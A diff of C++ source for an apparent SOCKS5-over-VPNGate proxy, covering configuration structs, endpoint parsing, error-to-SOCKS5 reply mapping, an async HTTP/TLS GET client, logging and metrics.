// dozen volunteer-run servers, and switching a healthy tunnel costs every
// session that has moved bytes. Degradation-driven switching (health/) is
// what the requirement actually asks for; this is the optional upgrade path.
Millis opportunistic_interval{0}; // 0 = disabled
};
struct HealthConfig {
Millis interval{15000};
int unhealthy_windows = 3;
Millis probe_timeout{5000};
// The probe dials this host:port *through the egress* and drops the stream
// as soon as it is up. A TCP handshake is used rather than a bare DNS lookup
// because a lookup can be answered from the resolver cache without a single
// byte crossing the tunnel -- which would report a dead tunnel as healthy.
std::string probe_domain = "www.google.com";
uint16_t probe_port = 80;
double min_score = 0.40;
double max_connect_failure_rate = 0.50;
Millis stall_threshold{45000};
};
struct OvpnConfig {
bool allow_legacy_algorithms = true; // VPNGate is AES-128-CBC / SHA1
std::string username = "vpn"; // fallback for nodes that demand it
std::string password = "vpn";
int connect_timeout_s = 30;
bool compression = true;
int tunnel_up_timeout_s = 45;
// SO_SNDBUF/SO_RCVBUF for the tun socketpair; too small drops IP packets
// under burst (recoverable, but hurts throughput).
int packet_socket_buffer = 2 * 1024 * 1024;
};
struct DnsConfig {
std::vector<std::string> fallback_servers{"1.1.1.1", "8.8.8.8"};
Millis timeout{5000};
size_t cache_entries = 4096;
Millis min_ttl{5000};
Millis max_ttl{3600000};
bool prefer_ipv4 = true;
};
struct AdminConfig {
bool enabled = true;
std::string listen_address = "127.0.0.1";
uint16_t listen_port = 9080;
};
struct LogConfig {
log::Level level = log::Level::Info;
std::string file = "-";
std::map<std::string, log::Level> module_levels;
};
struct Config {
Socks5Config socks5;
VpnGateConfig vpngate;
SelectorConfig selector;
SwitchConfig switching;
HealthConfig health;
OvpnConfig ovpn;
DnsConfig dns;
AdminConfig admin;
LogConfig logging;
// Egress backend. "tunnel" = OpenVPN+lwIP, "direct" = host sockets (testing).
std::string egress_mode = "tunnel";
// Loads and validates. Returns false and fills `err` on any problem; a
// partially-applied config is never returned.
static bool load_file(const std::string &path, Config *out, std::string *err);
static bool load_string(const std::string &text, Config *out,
std::string *err);
bool validate(std::string *err) const;
};
// Parses "250ms" / "30s" / "5m" / "2h"; bare numbers are seconds.
bool parse_duration(const std::string &text, Millis *out);
// Loads "user:password" or "user:sha256$salt$hash" lines.
bool load_auth_file(const std::string &path, std::vector<Credential> *out,
std::string *err);
// Builds a credential with a fresh random salt.
Credential make_credential(const std::string &user, const std::string &password);
// Constant-time verification.
bool verify_credential(const Credential &c, const std::string &password);
} // namespace ovg
+147
View File
@@ -0,0 +1,147 @@
#include "common/endpoint.h"
#include <arpa/inet.h>
#include <charconv>
#include <cstring>
#include <functional>
namespace ovg {
std::optional<IpAddress> IpAddress::parse(const std::string &text) {
IpAddress out;
uint8_t buf[16];
if (text.find(':') == std::string::npos) {
if (inet_pton(AF_INET, text.c_str(), buf) == 1) {
std::memcpy(out.bytes_.data(), buf, 4);
out.v4_ = true;
out.valid_ = true;
return out;
}
return std::nullopt;
}
if (inet_pton(AF_INET6, text.c_str(), buf) == 1) {
std::memcpy(out.bytes_.data(), buf, 16);
out.v4_ = false;
out.valid_ = true;
return out;
}
return std::nullopt;
}
IpAddress IpAddress::from_v4(uint32_t host_order) {
IpAddress a;
a.bytes_[0] = static_cast<uint8_t>((host_order >> 24) & 0xff);
a.bytes_[1] = static_cast<uint8_t>((host_order >> 16) & 0xff);
a.bytes_[2] = static_cast<uint8_t>((host_order >> 8) & 0xff);
a.bytes_[3] = static_cast<uint8_t>(host_order & 0xff);
a.v4_ = true;
a.valid_ = true;
return a;
}
IpAddress IpAddress::from_bytes_v4(const uint8_t bytes[4]) {
IpAddress a;
std::memcpy(a.bytes_.data(), bytes, 4);
a.v4_ = true;
a.valid_ = true;
return a;
}
IpAddress IpAddress::from_bytes_v6(const uint8_t bytes[16]) {
IpAddress a;
std::memcpy(a.bytes_.data(), bytes, 16);
a.v4_ = false;
a.valid_ = true;
return a;
}
uint32_t IpAddress::v4_host_order() const {
return (static_cast<uint32_t>(bytes_[0]) << 24) |
(static_cast<uint32_t>(bytes_[1]) << 16) |
(static_cast<uint32_t>(bytes_[2]) << 8) |
static_cast<uint32_t>(bytes_[3]);
}
std::string IpAddress::to_string() const {
if (!valid_) return "<invalid>";
char buf[INET6_ADDRSTRLEN] = {};
if (v4_) {
inet_ntop(AF_INET, bytes_.data(), buf, sizeof(buf));
} else {
inet_ntop(AF_INET6, bytes_.data(), buf, sizeof(buf));
}
return buf;
}
Endpoint::Endpoint(IpAddress addr, uint16_t port)
: kind_(addr.is_v4() ? Kind::Ipv4 : Kind::Ipv6),
addr_(std::move(addr)),
port_(port) {}
Endpoint::Endpoint(std::string domain, uint16_t port)
: kind_(Kind::Domain), domain_(std::move(domain)), port_(port) {}
std::optional<Endpoint> Endpoint::parse(const std::string &text) {
if (text.empty()) return std::nullopt;
std::string host;
std::string port_str;
if (text.front() == '[') {
// Bracketed IPv6 literal: [::1]:80
const auto close = text.find(']');
if (close == std::string::npos) return std::nullopt;
host = text.substr(1, close - 1);
if (close + 1 >= text.size() || text[close + 1] != ':') return std::nullopt;
port_str = text.substr(close + 2);
} else {
const auto colon = text.rfind(':');
if (colon == std::string::npos) return std::nullopt;
// A bare IPv6 literal has several colons and no port; reject it as
// ambiguous rather than silently truncating the address.
if (text.find(':') != colon) return std::nullopt;
host = text.substr(0, colon);
port_str = text.substr(colon + 1);
}
if (host.empty() || port_str.empty()) return std::nullopt;
unsigned long port_val = 0;
const char *begin = port_str.data();
const char *end = begin + port_str.size();
const auto res = std::from_chars(begin, end, port_val);
if (res.ec != std::errc{} || res.ptr != end || port_val == 0 ||
port_val > 65535)
return std::nullopt;
if (auto ip = IpAddress::parse(host))
return Endpoint(*ip, static_cast<uint16_t>(port_val));
return Endpoint(std::move(host), static_cast<uint16_t>(port_val));
}
std::string Endpoint::host_string() const {
return kind_ == Kind::Domain ? domain_ : addr_.to_string();
}
std::string Endpoint::to_string() const {
const std::string h = host_string();
if (kind_ == Kind::Ipv6) return "[" + h + "]:" + std::to_string(port_);
return h + ":" + std::to_string(port_);
}
size_t EndpointHash::operator()(const Endpoint &e) const noexcept {
size_t h = std::hash<uint16_t>{}(e.port());
h ^= std::hash<int>{}(static_cast<int>(e.kind())) + 0x9e3779b9 + (h << 6) +
(h >> 2);
if (e.is_domain()) {
h ^= std::hash<std::string>{}(e.domain()) + 0x9e3779b9 + (h << 6) + (h >> 2);
} else {
const auto &b = e.address().bytes();
for (size_t i = 0; i < e.address().byte_len(); ++i)
h ^= std::hash<uint8_t>{}(b[i]) + 0x9e3779b9 + (h << 6) + (h >> 2);
}
return h;
}
} // namespace ovg
+87
View File
@@ -0,0 +1,87 @@
// A network destination: either a literal IP or a domain name, plus a port.
//
// SOCKS5 hands us all three ATYP forms, and a domain must stay unresolved until
// it reaches the egress (resolving it locally would leak DNS outside the
// tunnel). So the type deliberately keeps "domain" as a first-class kind rather
// than eagerly converting to an address.
#pragma once
#include <array>
#include <cstdint>
#include <optional>
#include <string>
namespace ovg {
// A resolved IPv4 or IPv6 address in binary form.
class IpAddress {
public:
IpAddress() = default;
static std::optional<IpAddress> parse(const std::string &text);
static IpAddress from_v4(uint32_t host_order);
static IpAddress from_bytes_v4(const uint8_t bytes[4]);
static IpAddress from_bytes_v6(const uint8_t bytes[16]);
bool is_v4() const { return v4_; }
bool is_v6() const { return !v4_ && valid_; }
bool valid() const { return valid_; }
// Host byte order; only meaningful when is_v4().
uint32_t v4_host_order() const;
const std::array<uint8_t, 16> &bytes() const { return bytes_; }
// Number of significant bytes: 4 for v4, 16 for v6.
size_t byte_len() const { return v4_ ? 4 : 16; }
std::string to_string() const;
bool operator==(const IpAddress &o) const {
return valid_ == o.valid_ && v4_ == o.v4_ && bytes_ == o.bytes_;
}
private:
std::array<uint8_t, 16> bytes_{};
bool v4_ = false;
bool valid_ = false;
};
class Endpoint {
public:
enum class Kind { Ipv4, Ipv6, Domain };
Endpoint() = default;
Endpoint(IpAddress addr, uint16_t port);
Endpoint(std::string domain, uint16_t port);
// Accepts "1.2.3.4:80", "[::1]:80", "example.com:443".
static std::optional<Endpoint> parse(const std::string &text);
Kind kind() const { return kind_; }
bool is_domain() const { return kind_ == Kind::Domain; }
const std::string &domain() const { return domain_; }
const IpAddress &address() const { return addr_; }
uint16_t port() const { return port_; }
void set_port(uint16_t p) { port_ = p; }
// "1.2.3.4:80" / "[::1]:80" / "example.com:443"
std::string to_string() const;
// Host part only, without port.
std::string host_string() const;
bool operator==(const Endpoint &o) const {
return kind_ == o.kind_ && port_ == o.port_ && domain_ == o.domain_ &&
addr_ == o.addr_;
}
private:
Kind kind_ = Kind::Domain;
IpAddress addr_;
std::string domain_;
uint16_t port_ = 0;
};
struct EndpointHash {
size_t operator()(const Endpoint &e) const noexcept;
};
} // namespace ovg
+103
View File
@@ -0,0 +1,103 @@
#include "common/error.h"
#include <cerrno>
#include <cstring>
namespace ovg {
namespace {
class OvgCategory : public std::error_category {
public:
const char *name() const noexcept override { return "ovg"; }
std::string message(int v) const override {
switch (static_cast<Error>(v)) {
case Error::Ok: return "ok";
case Error::Cancelled: return "cancelled";
case Error::Timeout: return "timed out";
case Error::NotConnected: return "egress not connected";
case Error::EgressGone: return "egress destroyed";
case Error::EgressDraining: return "egress is draining";
case Error::ConnectionRefused: return "connection refused";
case Error::HostUnreachable: return "host unreachable";
case Error::NetworkUnreachable: return "network unreachable";
case Error::ResolveFailed: return "name resolution failed";
case Error::ProtocolError: return "protocol error";
case Error::AuthFailed: return "authentication failed";
case Error::NotSupported: return "not supported";
case Error::ResourceExhausted: return "resource exhausted";
case Error::TunnelSetupFailed: return "tunnel setup failed";
case Error::ConfigInvalid: return "invalid configuration";
case Error::UpstreamFailure: return "upstream failure";
case Error::Internal: return "internal error";
}
return "unknown error " + std::to_string(v);
}
};
const OvgCategory g_category{};
} // namespace
const std::error_category &error_category() { return g_category; }
std::error_code make_error_code(Error e) {
return {static_cast<int>(e), g_category};
}
uint8_t socks5_reply_for(const std::error_code &ec) {
// RFC 1928 §6 REP values.
constexpr uint8_t kSucceeded = 0x00;
constexpr uint8_t kGeneralFailure = 0x01;
constexpr uint8_t kNetworkUnreachable = 0x03;
constexpr uint8_t kHostUnreachable = 0x04;
constexpr uint8_t kConnectionRefused = 0x05;
constexpr uint8_t kTtlExpired = 0x06;
constexpr uint8_t kCommandNotSupported = 0x07;
if (!ec) return kSucceeded;
if (ec.category() == g_category) {
switch (static_cast<Error>(ec.value())) {
case Error::Ok: return kSucceeded;
case Error::ConnectionRefused: return kConnectionRefused;
case Error::HostUnreachable:
case Error::ResolveFailed: return kHostUnreachable;
case Error::NetworkUnreachable:
case Error::NotConnected:
case Error::EgressGone:
case Error::EgressDraining: return kNetworkUnreachable;
case Error::Timeout: return kTtlExpired;
case Error::NotSupported: return kCommandNotSupported;
default: return kGeneralFailure;
}
}
// System errors. The egress layer is supposed to translate these into the
// codes above before a reply is ever built (egress/direct_egress.cpp
// map_ec), so reaching here means something slipped through -- answer as
// precisely as we still can rather than flattening it to 0x01.
if (ec == std::errc::connection_refused) return kConnectionRefused;
if (ec == std::errc::host_unreachable) return kHostUnreachable;
if (ec == std::errc::network_unreachable) return kNetworkUnreachable;
if (ec == std::errc::timed_out) return kTtlExpired;
// ...and asio's category, which carries errno values but does *not* declare
// itself equivalent to std::errc, so every comparison above is false for it.
// Matching on the value is only meaningful because both errno-based
// categories agree on the numbers on our target (Linux); a category that
// numbers its codes differently falls through to the general failure, which
// is what it would have done anyway.
if (ec.category().name() == std::string("asio.system")) {
switch (ec.value()) {
case ECONNREFUSED: return kConnectionRefused;
case EHOSTUNREACH: return kHostUnreachable;
case ENETUNREACH: return kNetworkUnreachable;
case ETIMEDOUT: return kTtlExpired;
default: break;
}
}
return kGeneralFailure;
}
} // namespace ovg
+43
View File
@@ -0,0 +1,43 @@
// Project error codes, exposed as std::error_code so they compose with the
// asio handler signatures used throughout (handler(std::error_code, ...)).
#pragma once
#include <cstdint>
#include <string>
#include <system_error>
namespace ovg {
enum class Error {
Ok = 0,
Cancelled,
Timeout,
NotConnected, // egress has no usable tunnel
EgressGone, // egress was torn down under us
EgressDraining, // egress refuses new work
ConnectionRefused,
HostUnreachable,
NetworkUnreachable,
ResolveFailed,
ProtocolError, // malformed SOCKS5 / DNS / CSV
AuthFailed,
NotSupported,
ResourceExhausted, // admission control tripped
TunnelSetupFailed,
ConfigInvalid,
UpstreamFailure, // VPNGate API and friends
Internal,
};
const std::error_category &error_category();
std::error_code make_error_code(Error e);
// Maps our codes onto SOCKS5 REP values (RFC 1928 §6).
uint8_t socks5_reply_for(const std::error_code &ec);
} // namespace ovg
namespace std {
template <>
struct is_error_code_enum<ovg::Error> : true_type {};
} // namespace std
+407
View File
@@ -0,0 +1,407 @@
#include "common/http_get.h"
#include <asio/ssl.hpp>
#include <algorithm>
#include <cctype>
#include <charconv>
#include <memory>
#include "common/error.h"
#include "common/logging.h"
namespace ovg::http {
namespace {
constexpr const char *kMod = "http";
std::string to_lower(std::string s) {
std::transform(s.begin(), s.end(), s.begin(),
[](unsigned char c) { return std::tolower(c); });
return s;
}
// Resolves a relative Location header against the request it came from.
std::string resolve_redirect(const Url &base, const std::string &location) {
if (location.rfind("http://", 0) == 0 || location.rfind("https://", 0) == 0)
return location;
std::string out = base.scheme + "://" + base.host;
const bool default_port = (base.scheme == "http" && base.port == "80") ||
(base.scheme == "https" && base.port == "443");
if (!default_port) out += ":" + base.port;
if (location.empty() || location.front() != '/') out += "/";
out += location;
return out;
}
// Drives one request/response. Owns itself for the duration via shared_from_this.
class Fetcher : public std::enable_shared_from_this<Fetcher> {
public:
Fetcher(asio::io_context &io, Url url, Options opts, int redirects_left,
Handler handler)
: io_(io),
resolver_(io),
timer_(io),
url_(std::move(url)),
opts_(std::move(opts)),
redirects_left_(redirects_left),
handler_(std::move(handler)) {}
void start() {
timer_.expires_after(opts_.timeout);
timer_.async_wait([self = shared_from_this()](std::error_code ec) {
if (ec) return; // cancelled -- the request already finished
LOG_DEBUG(kMod, "GET {}://{}{} timed out", self->url_.scheme,
self->url_.host, self->url_.target);
self->finish(make_error_code(Error::Timeout), {});
});
auto self = shared_from_this();
resolver_.async_resolve(
url_.host, url_.port,
[self](std::error_code ec, asio::ip::tcp::resolver::results_type r) {
if (ec) return self->finish(ec, {});
self->connect(std::move(r));
});
}
private:
void connect(asio::ip::tcp::resolver::results_type endpoints) {
auto self = shared_from_this();
if (url_.scheme == "https") {
ssl_ctx_ = std::make_unique<asio::ssl::context>(
asio::ssl::context::tls_client);
ssl_ctx_->set_options(asio::ssl::context::default_workarounds |
asio::ssl::context::no_sslv2 |
asio::ssl::context::no_sslv3 |
asio::ssl::context::no_tlsv1 |
asio::ssl::context::no_tlsv1_1);
if (opts_.verify_tls) {
ssl_ctx_->set_default_verify_paths();
ssl_ctx_->set_verify_mode(asio::ssl::verify_peer);
} else {
ssl_ctx_->set_verify_mode(asio::ssl::verify_none);
}
ssl_stream_ = std::make_unique<
asio::ssl::stream<asio::ip::tcp::socket>>(io_, *ssl_ctx_);
if (opts_.verify_tls) {
ssl_stream_->set_verify_callback(
asio::ssl::host_name_verification(url_.host));
// SNI: without it many vhosts serve the wrong certificate.
if (!SSL_set_tlsext_host_name(ssl_stream_->native_handle(),
url_.host.c_str())) {
return finish(make_error_code(Error::UpstreamFailure), {});
}
}
asio::async_connect(
ssl_stream_->next_layer(), endpoints,
[self](std::error_code ec, const asio::ip::tcp::endpoint &) {
if (ec) return self->finish(ec, {});
self->ssl_stream_->async_handshake(
asio::ssl::stream_base::client, [self](std::error_code ec2) {
if (ec2) return self->finish(ec2, {});
self->send_request();
});
});
} else {
plain_ = std::make_unique<asio::ip::tcp::socket>(io_);
asio::async_connect(
*plain_, endpoints,
[self](std::error_code ec, const asio::ip::tcp::endpoint &) {
if (ec) return self->finish(ec, {});
self->send_request();
});
}
}
void send_request() {
request_ = "GET " + url_.target + " HTTP/1.1\r\n";
request_ += "Host: " + url_.host + "\r\n";
request_ += "User-Agent: " + opts_.user_agent + "\r\n";
request_ += "Accept: */*\r\n";
request_ += "Connection: close\r\n\r\n";
auto self = shared_from_this();
auto on_written = [self](std::error_code ec, size_t) {
if (ec) return self->finish(ec, {});
self->read_headers();
};
if (ssl_stream_)
asio::async_write(*ssl_stream_, asio::buffer(request_), on_written);
else
asio::async_write(*plain_, asio::buffer(request_), on_written);
}
void read_headers() {
auto self = shared_from_this();
auto on_read = [self](std::error_code ec, size_t n) {
if (ec) return self->finish(ec, {});
self->parse_headers(n);
};
if (ssl_stream_)
asio::async_read_until(*ssl_stream_, buf_, "\r\n\r\n", on_read);
else
asio::async_read_until(*plain_, buf_, "\r\n\r\n", on_read);
}
void parse_headers(size_t header_len) {
std::string headers(
asio::buffers_begin(buf_.data()),
asio::buffers_begin(buf_.data()) + static_cast<long>(header_len));
buf_.consume(header_len);
const auto first_eol = headers.find("\r\n");
if (first_eol == std::string::npos)
return finish(make_error_code(Error::ProtocolError), {});
// "HTTP/1.1 200 OK"
const std::string status_line = headers.substr(0, first_eol);
const auto sp1 = status_line.find(' ');
if (sp1 == std::string::npos)
return finish(make_error_code(Error::ProtocolError), {});
int status = 0;
{
const char *b = status_line.data() + sp1 + 1;
const char *e = status_line.data() + status_line.size();
std::from_chars(b, std::min(b + 3, e), status);
}
resp_.status = status;
size_t pos = first_eol + 2;
std::string location;
while (pos < headers.size()) {
const auto eol = headers.find("\r\n", pos);
if (eol == std::string::npos || eol == pos) break;
const std::string line = headers.substr(pos, eol - pos);
pos = eol + 2;
const auto colon = line.find(':');
if (colon == std::string::npos) continue;
const std::string name = to_lower(line.substr(0, colon));
std::string value = line.substr(colon + 1);
while (!value.empty() && std::isspace(static_cast<unsigned char>(value.front())))
value.erase(value.begin());
if (name == "content-length") {
size_t v = 0;
const auto r = std::from_chars(value.data(), value.data() + value.size(), v);
if (r.ec == std::errc{}) {
content_length_ = v;
have_content_length_ = true;
}
} else if (name == "transfer-encoding") {
if (to_lower(value).find("chunked") != std::string::npos) chunked_ = true;
} else if (name == "location") {
location = value;
}
}
if (status >= 300 && status < 400 && !location.empty()) {
if (redirects_left_ <= 0)
return finish(make_error_code(Error::UpstreamFailure), {});
const std::string next = resolve_redirect(url_, location);
LOG_DEBUG(kMod, "redirect {} -> {}", resp_.status, next);
Url u;
if (!parse_url(next, &u))
return finish(make_error_code(Error::UpstreamFailure), {});
timer_.cancel();
auto follow = std::make_shared<Fetcher>(io_, std::move(u), opts_,
redirects_left_ - 1,
std::move(handler_));
done_ = true; // ownership of the handler has moved to `follow`
follow->start();
return;
}
// Anything that is not a 2xx carries no body we would ever use -- our only
// caller wants a file. Fail now rather than handing an error page to the
// CSV parser and letting it report a confusing "not a VPNGate response".
// The status is still passed back so the caller can log it.
if (status < 200 || status >= 300) {
Response r;
r.status = status;
LOG_WARN(kMod, "GET {}://{}{} -> HTTP {}", url_.scheme, url_.host,
url_.target, status);
return finish(make_error_code(Error::UpstreamFailure), std::move(r));
}
if (have_content_length_ && content_length_ > opts_.max_bytes)
return finish(make_error_code(Error::ResourceExhausted), {});
// Whatever async_read_until over-read is already body.
if (buf_.size() > 0) {
const size_t take = buf_.size();
resp_.body.append(asio::buffers_begin(buf_.data()),
asio::buffers_begin(buf_.data()) +
static_cast<long>(take));
buf_.consume(take);
}
read_body();
}
void read_body() {
if (resp_.body.size() > opts_.max_bytes)
return finish(make_error_code(Error::ResourceExhausted), {});
if (have_content_length_ && resp_.body.size() >= content_length_) {
resp_.body.resize(content_length_);
return finish({}, std::move(resp_));
}
auto self = shared_from_this();
auto on_read = [self](std::error_code ec, size_t n) {
if (n > 0) {
self->resp_.body.append(
asio::buffers_begin(self->buf_.data()),
asio::buffers_begin(self->buf_.data()) + static_cast<long>(n));
self->buf_.consume(n);
}
if (ec == asio::error::eof ||
ec == asio::ssl::error::stream_truncated) {
// Server closed: for "Connection: close" responses this is the normal
// end of body.
if (self->chunked_) self->dechunk();
return self->finish({}, std::move(self->resp_));
}
if (ec) return self->finish(ec, {});
self->read_body();
};
constexpr size_t kChunk = 64 * 1024;
if (ssl_stream_)
ssl_stream_->async_read_some(buf_.prepare(kChunk),
[self, on_read](std::error_code ec, size_t n) {
self->buf_.commit(n);
on_read(ec, n);
});
else
plain_->async_read_some(buf_.prepare(kChunk),
[self, on_read](std::error_code ec, size_t n) {
self->buf_.commit(n);
on_read(ec, n);
});
}
// Minimal chunked-transfer decoder applied once the body is fully buffered.
void dechunk() {
std::string out;
out.reserve(resp_.body.size());
size_t pos = 0;
const std::string &in = resp_.body;
while (pos < in.size()) {
const auto eol = in.find("\r\n", pos);
if (eol == std::string::npos) break;
size_t len = 0;
const std::string hex = in.substr(pos, eol - pos);
const auto semi = hex.find(';'); // chunk extensions
const std::string hex_only = semi == std::string::npos ? hex : hex.substr(0, semi);
const auto r = std::from_chars(hex_only.data(),
hex_only.data() + hex_only.size(), len, 16);
if (r.ec != std::errc{}) break;
pos = eol + 2;
if (len == 0) break;
if (pos + len > in.size()) break;
out.append(in, pos, len);
pos += len + 2; // skip the chunk's trailing CRLF
}
resp_.body = std::move(out);
}
void finish(std::error_code ec, Response r) {
if (done_) return;
done_ = true;
timer_.cancel();
close_transport();
if (handler_) {
auto h = std::move(handler_);
handler_ = nullptr;
h(ec, std::move(r));
}
}
void close_transport() {
std::error_code ignored;
if (ssl_stream_) ssl_stream_->next_layer().close(ignored);
if (plain_) plain_->close(ignored);
}
asio::io_context &io_;
asio::ip::tcp::resolver resolver_;
asio::steady_timer timer_;
Url url_;
Options opts_;
int redirects_left_;
Handler handler_;
std::unique_ptr<asio::ip::tcp::socket> plain_;
std::unique_ptr<asio::ssl::context> ssl_ctx_;
std::unique_ptr<asio::ssl::stream<asio::ip::tcp::socket>> ssl_stream_;
asio::streambuf buf_;
std::string request_;
Response resp_;
size_t content_length_ = 0;
bool have_content_length_ = false;
bool chunked_ = false;
bool done_ = false;
};
} // namespace
bool parse_url(const std::string &text, Url *out) {
// Build into a local and assign only on success: callers reuse a Url across
// calls, and leaving stale fields behind (a port from the previous parse, for
// instance) is exactly the kind of bug that only shows up in production.
Url u;
const auto scheme_end = text.find("://");
if (scheme_end == std::string::npos) return false;
u.scheme = to_lower(text.substr(0, scheme_end));
if (u.scheme != "http" && u.scheme != "https") return false;
const size_t host_start = scheme_end + 3;
const size_t path_start = text.find('/', host_start);
std::string hostport = path_start == std::string::npos
? text.substr(host_start)
: text.substr(host_start, path_start - host_start);
u.target = path_start == std::string::npos ? "/" : text.substr(path_start);
if (hostport.empty()) return false;
if (hostport.front() == '[') { // [::1]:8080
const auto close = hostport.find(']');
if (close == std::string::npos) return false;
u.host = hostport.substr(1, close - 1);
if (close + 1 < hostport.size() && hostport[close + 1] == ':')
u.port = hostport.substr(close + 2);
} else {
const auto colon = hostport.rfind(':');
if (colon == std::string::npos) {
u.host = hostport;
} else {
u.host = hostport.substr(0, colon);
u.port = hostport.substr(colon + 1);
}
}
if (u.host.empty()) return false;
if (u.port.empty()) u.port = (u.scheme == "https") ? "443" : "80";
*out = std::move(u);
return true;
}
void async_get(asio::io_context &io, const std::string &url,
const Options &opts, Handler handler) {
Url u;
if (!parse_url(url, &u)) {
asio::post(io, [h = std::move(handler)]() mutable {
h(make_error_code(Error::ConfigInvalid), {});
});
return;
}
LOG_DEBUG(kMod, "GET {}", url);
std::make_shared<Fetcher>(io, std::move(u), opts, opts.max_redirects,
std::move(handler))
->start();
}
} // namespace ovg::http
+47
View File
@@ -0,0 +1,47 @@
// A small async HTTP/1.1 GET client over asio, with TLS support.
//
// Written rather than pulled in (libcurl) because we need exactly one verb, and
// libcurl's threading/blocking model does not fit the single control thread we
// run everything else on. Scope is deliberately narrow: GET, redirects, a hard
// byte cap, and a deadline.
#pragma once
#include <asio.hpp>
#include <chrono>
#include <functional>
#include <string>
#include <system_error>
namespace ovg::http {
struct Url {
std::string scheme; // "http" or "https"
std::string host;
std::string port; // always populated (defaulted from scheme)
std::string target; // path + query, starts with '/'
};
bool parse_url(const std::string &text, Url *out);
struct Response {
int status = 0;
std::string body;
};
using Handler = std::function<void(std::error_code, Response)>;
struct Options {
std::chrono::milliseconds timeout{30000};
size_t max_bytes = 32u * 1024 * 1024;
int max_redirects = 3;
std::string user_agent = "openvpngate/0.1";
// TLS peer verification. Only disable for a mirror you control.
bool verify_tls = true;
};
// Invokes `handler` exactly once, on `io`'s executor.
void async_get(asio::io_context &io, const std::string &url,
const Options &opts, Handler handler);
} // namespace ovg::http
+107
View File
@@ -0,0 +1,107 @@
#include "common/logging.h"
#include <atomic>
#include <chrono>
#include <cstdio>
#include <ctime>
#include <mutex>
#include <unordered_map>
namespace ovg::log {
namespace {
std::atomic<Level> g_level{Level::Info};
std::mutex g_mu; // guards g_out and g_modules
std::FILE *g_out = stderr;
bool g_out_owned = false;
std::unordered_map<std::string, Level> g_modules;
std::atomic<bool> g_have_module_overrides{false};
} // namespace
Level level_from_string(std::string_view s) {
if (s == "trace") return Level::Trace;
if (s == "debug") return Level::Debug;
if (s == "info") return Level::Info;
if (s == "warn" || s == "warning") return Level::Warn;
if (s == "error") return Level::Error;
if (s == "off" || s == "none") return Level::Off;
return Level::Info;
}
const char *level_name(Level l) {
switch (l) {
case Level::Trace: return "TRACE";
case Level::Debug: return "DEBUG";
case Level::Info: return "INFO ";
case Level::Warn: return "WARN ";
case Level::Error: return "ERROR";
case Level::Off: return "OFF ";
}
return "?????";
}
void set_level(Level l) { g_level.store(l, std::memory_order_relaxed); }
Level level() { return g_level.load(std::memory_order_relaxed); }
void set_module_level(std::string_view module, Level l) {
std::lock_guard lk(g_mu);
g_modules[std::string(module)] = l;
g_have_module_overrides.store(true, std::memory_order_release);
}
bool set_output_file(const std::string &path, std::string *err) {
std::FILE *f = stderr;
bool owned = false;
if (path != "-" && !path.empty()) {
f = std::fopen(path.c_str(), "ae");
if (!f) {
if (err) *err = "cannot open log file: " + path;
return false;
}
owned = true;
}
std::lock_guard lk(g_mu);
if (g_out_owned && g_out) std::fclose(g_out);
g_out = f;
g_out_owned = owned;
return true;
}
bool enabled(Level l, std::string_view module) {
// Fast path: no per-module overrides configured at all.
if (!g_have_module_overrides.load(std::memory_order_acquire))
return l >= g_level.load(std::memory_order_relaxed);
std::lock_guard lk(g_mu);
auto it = g_modules.find(std::string(module));
if (it != g_modules.end()) return l >= it->second;
return l >= g_level.load(std::memory_order_relaxed);
}
void write(Level l, std::string_view module, std::string_view message) {
using namespace std::chrono;
const auto now = system_clock::now();
const auto secs = time_point_cast<seconds>(now);
const auto ms = duration_cast<milliseconds>(now - secs).count();
const std::time_t tt = system_clock::to_time_t(now);
std::tm tm{};
gmtime_r(&tt, &tm);
// Generous: the compiler cannot prove tm_year fits in 4 digits, and a
// truncated timestamp in a log is worse than 16 wasted stack bytes.
char stamp[64];
std::snprintf(stamp, sizeof(stamp), "%04d-%02d-%02dT%02d:%02d:%02d.%03dZ",
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour,
tm.tm_min, tm.tm_sec, static_cast<int>(ms));
std::lock_guard lk(g_mu);
std::fprintf(g_out, "%s %s [%.*s] %.*s\n", stamp, level_name(l),
static_cast<int>(module.size()), module.data(),
static_cast<int>(message.size()), message.data());
std::fflush(g_out);
}
} // namespace ovg::log
+63
View File
@@ -0,0 +1,63 @@
// Leveled, thread-safe logging with a module tag.
//
// Usage:
// LOG_INFO("socks5", "session {} connected to {}", id, target);
//
// The module tag is what makes production logs readable: every line can be
// traced back to the subsystem that emitted it, and levels can be raised for
// one module without drowning in the rest.
#pragma once
#include <fmt/format.h>
#include <string>
#include <string_view>
namespace ovg::log {
enum class Level : int { Trace = 0, Debug, Info, Warn, Error, Off };
// Parses "trace"/"debug"/"info"/"warn"/"error"/"off"; returns Info on garbage.
Level level_from_string(std::string_view s);
const char *level_name(Level l);
void set_level(Level l);
Level level();
// Per-module override, e.g. set_module_level("netstack", Level::Debug).
void set_module_level(std::string_view module, Level l);
// Redirect output. Default is stderr. Path "-" means stderr.
bool set_output_file(const std::string &path, std::string *err);
bool enabled(Level l, std::string_view module);
// Emits one line: "2026-07-27T17:04:11.123Z INFO [socks5] message"
void write(Level l, std::string_view module, std::string_view message);
namespace detail {
// fmt::format can throw on a bad format string; a logging call must never take
// the process down, so failures degrade into a visible placeholder.
template <typename... Args>
std::string safe_format(fmt::format_string<Args...> f, Args &&...args) {
try {
return fmt::format(f, std::forward<Args>(args)...);
} catch (const std::exception &e) {
return std::string("<log format error: ") + e.what() + ">";
}
}
} // namespace detail
} // namespace ovg::log
#define OVG_LOG(lvl, mod, ...) \
do { \
if (::ovg::log::enabled(lvl, mod)) \
::ovg::log::write(lvl, mod, ::ovg::log::detail::safe_format(__VA_ARGS__)); \
} while (0)
#define LOG_TRACE(mod, ...) OVG_LOG(::ovg::log::Level::Trace, mod, __VA_ARGS__)
#define LOG_DEBUG(mod, ...) OVG_LOG(::ovg::log::Level::Debug, mod, __VA_ARGS__)
#define LOG_INFO(mod, ...) OVG_LOG(::ovg::log::Level::Info, mod, __VA_ARGS__)
#define LOG_WARN(mod, ...) OVG_LOG(::ovg::log::Level::Warn, mod, __VA_ARGS__)
#define LOG_ERROR(mod, ...) OVG_LOG(::ovg::log::Level::Error, mod, __VA_ARGS__)
+46
View File
@@ -0,0 +1,46 @@
#include "common/metrics.h"
#include <algorithm>
namespace ovg::metrics {
Registry &Registry::instance() {
static Registry r;
return r;
}
Counter *Registry::counter(const std::string &name, const std::string &help) {
std::lock_guard lk(mu_);
for (auto &e : counters_)
if (e.name == name) return e.c.get();
counters_.push_back({name, help, std::make_unique<Counter>()});
return counters_.back().c.get();
}
